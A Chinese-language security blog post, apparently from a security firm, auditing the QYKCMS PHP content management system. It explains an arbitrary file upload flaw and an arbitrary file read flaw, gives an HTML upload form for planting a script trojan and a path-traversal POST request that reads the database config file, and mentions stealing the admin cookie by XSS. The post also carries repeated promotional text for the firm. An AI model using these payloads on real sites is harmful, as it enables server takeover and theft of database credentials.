QYKCMS网站安全检测 任意文件读取漏洞


           青云客网站管理系统(QYKCMS)是青云客开发的一款基于PHP+MySql架构的轻量级智

能建站系统。在T00ls看到两篇QYKCMS的代码审计文章,也下载了一套回来测试,发现了两个

后台漏洞,并没有跟前面的漏洞重复,分享一下网站安全检测以及源代码的安全审计思路。
 
 
网站漏洞代码分析:
 
1、漏洞文件位置:/admin_system/include/lib/upfile.php   第24-69行:

 
这段代码根据types的值进行操作,可以发现当$types=none的时候(注意看红色代码部分),

获取文件名后缀,拼接成完整路径,然后将文件上传到服务器,
并没有对文件类型进行过滤,导

致程序在实现上存在任意文件上传漏洞,攻击者可以通过上传脚本木马,控制服务器权限。Sine

安全公司是一家专注于:网站安全、服务器安全、网站安全检测、网站漏洞修复,渗透测试,安全

服务于一体的网络安全服务提供商。
 
网站漏洞利用:
 
1、构造Form表单,key可通过XSS获取管理员COOKIE得到:
 
1.  <form enctype="multipart/form-data" action="http://127.0.0.1/admin_system/api.php?admin=

    admin&key=15bc30cb5bfc1775c4733c9558fded91&log=upfile&types=none" method="post">  

 
2.  Upload a new file:<br>  
 
3.  <input type="file" name="file" size="50"><br>  
 
4.  <input type="submit" value="Upload">  
 
5.  </form>   
 
2、成功上传脚本木马,并回显上传路径。
 
 
任意文件读取漏洞详情
 
网站代码分析:
 
1、漏洞文件位置:/admin_system/include/show/template.php  第1-22行:


 
这段代码中接收path参数,然后进行转码处理,注意看红色代码部分,接着判断是否是一个目录,

然后带入file_get_contents函数中执行,可以看到path参数并未进行任何过滤或处理,导致程序

在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。

Sine安全公司是一家专注于:网站安全、服务器安全、网站安全检测、网站漏洞修复,渗透测试,安

全服务于一体的网络安全服务提供商。
 
任意文件读取漏洞利用:
 
QYKCMS默认数据库配置文件存放在\include\config_db.php中,我们构造一个路径去读取数据库敏

感信息,成功读取配置文件信息。

 
http://127.0.0.1/admin_system/api.php  
 
POST: admin=admin&key=682b82f8dc3b753d6eb9ceafd5a64301&log=show&desc=template&path=../include/config_db.php  
 
分享: